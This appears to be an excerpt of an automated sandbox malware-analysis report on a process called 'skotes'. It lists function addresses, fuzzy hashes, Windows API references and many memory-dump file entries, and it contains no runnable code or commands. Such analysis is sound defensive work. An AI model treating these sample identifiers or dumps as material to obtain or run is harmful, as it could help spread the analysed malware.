Opcode ID: d317ff35ff95823be26099af305f05c605d8fe54f4efc40a69c6eb8c7caad1a7
Instruction ID: c7966b89874f8711033c1834ea47d8c9602901af75d1e603d5f1d682a957700c
Opcode Fuzzy Hash: d317ff35ff95823be26099af305f05c605d8fe54f4efc40a69c6eb8c7caad1a7
Instruction Fuzzy Hash: A511187290410CAFDB14DE94C985EDFB7BDAB48314F605266E522E6180FB35EA09CB61

Function 007DAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 007DAC8D

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 78869fdf02c647ad4f3a0f1df61691491ac8201b080e9188a83ccf3a683a5980
Instruction ID: fa4eeb4146c53a470e76a640bf26272e662113e303a6274cc0ab2cc630961d96
Opcode Fuzzy Hash: 78869fdf02c647ad4f3a0f1df61691491ac8201b080e9188a83ccf3a683a5980
Instruction Fuzzy Hash: EB111571A0420AAFCF05DF58E945A9B7BF4FF48314F04406AF809AB351D630EE21CB65

Function 007E1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,007E1B65,?,?,00000000,?,007E1B65,00000000,0000000C), ref: 007E1792

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2559acd2f46d2e7d8839078d66ba9b23f9827e90d2d9e39300408856c2c97dc7
Instruction ID: 544b5a39e7c48aa5a66f4ded107a45b3a21867b2cb799290b48bc709caa6afee
Opcode Fuzzy Hash: 2559acd2f46d2e7d8839078d66ba9b23f9827e90d2d9e39300408856c2c97dc7
Instruction Fuzzy Hash: EAD0923204010DBFDF129E85DC02EEA3BAAFB48714F018100FE1866020C772E832AB94

Function 007B6C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 007B6CF5

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a09234e7d588b5b5b02a3e77cf5219919bdbe5395902c88ea294b505a590b82a
Instruction ID: 9b2dafeeafb9cec0882201232a5ea3d7619ce412fde9a4dc6695bf4ae352349f
Opcode Fuzzy Hash: a09234e7d588b5b5b02a3e77cf5219919bdbe5395902c88ea294b505a590b82a
Instruction Fuzzy Hash: 30F0D171A00600EBC740BB7C8C0AB5E7B74FB47760F800748E821673D6DB781A0087E2

Function 04FE0733 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563259144.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fe0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04f908a374c9f91825d7913de0d50f15aa26d86acf4dced687eb338acea68c9b
Instruction ID: f33001b4c0078f931d2385ebba46ef384dbec3f5c0455d79d5388c2ec48a6efa
Opcode Fuzzy Hash: 04f908a374c9f91825d7913de0d50f15aa26d86acf4dced687eb338acea68c9b
Instruction Fuzzy Hash: 6E11E9B720E260AEE342855626555B66BADE7C3731334847BF442C7542E6C91D4BA231

Function 04FE0750 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563259144.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fe0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3d5e42441e5729005ac404bc9430bc219ef475b0673b3ad8cecee154e5ac7
Instruction ID: 043ca2ae2004ed1dc67ce21baa589519c96aaa7d4bb9928012fc1bc48f1fdefd
Opcode Fuzzy Hash: e6d3d5e42441e5729005ac404bc9430bc219ef475b0673b3ad8cecee154e5ac7
Instruction Fuzzy Hash: D9017CEB24D130BDB18184466B94AB767AEE7C6732330843BF447C6041E9D82E4B7531

Function 04FE077D Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563259144.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fe0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e107421fcb75d0fede9706c4fb3286d63a60c4f8fb74955785c303dea69f511
Instruction ID: d48be5a121e095de7a0019a00cd8f7501cce045b8982ee96c3301981fe878491
Opcode Fuzzy Hash: 3e107421fcb75d0fede9706c4fb3286d63a60c4f8fb74955785c303dea69f511
Instruction Fuzzy Hash: DCF08CEB24E120BDB18185476BA4AB767ADE7C6732730843BF446C6442E6D81E4FB631

Function 04FE0791 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563259144.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fe0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ec2ba0c453ec7d96bdedf8268dafffcf23bbab7e0793f155c787a4b7ec99b0b
Instruction ID: c5a709108a7ab2671bcb9f6ec251cf0248d4c4f2603fb50d2f2ada65cd581a76
Opcode Fuzzy Hash: 4ec2ba0c453ec7d96bdedf8268dafffcf23bbab7e0793f155c787a4b7ec99b0b
Instruction Fuzzy Hash: 27F0A4EB24D120BDB24185427654ABB6B6EE7C6732330847BF443C6142EAD81F5F7135

Function 04FE07B9 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563259144.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fe0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d65ccdc4f86c7a023f0d25699e031f34837846c1c92f28d153929b92bbe70afb
Instruction ID: 6a552b41b4b0d9cac62815c6becbf58d25e5b1fc877c4f1410a21eb2d553d59a
Opcode Fuzzy Hash: d65ccdc4f86c7a023f0d25699e031f34837846c1c92f28d153929b92bbe70afb
Instruction Fuzzy Hash: 1AF0C2E76482247EA181515227686B6AA6DE7C6232730843BF842C6442E5C90E4EA171

Function 04FE07AC Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563259144.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fe0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca335b341500cb94b6c1716f223ec90ca2bc2b82d7049e82ee093bb43613e053
Instruction ID: 1f606707e79e73d70be1ed891b3086234f3ccf35e68df6b0baa01d92d4984c71
Opcode Fuzzy Hash: ca335b341500cb94b6c1716f223ec90ca2bc2b82d7049e82ee093bb43613e053
Instruction Fuzzy Hash: 65F030AB24E120ADB18185426B54AB7676DE7C27363308437F447C6442E6D81E4F7171

Non-executed Functions

Function 007C0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C0F62

Part of subcall function 007C265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 007C2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 007C0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 007C10C1

Strings

(, xrefs: 007C0F22

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
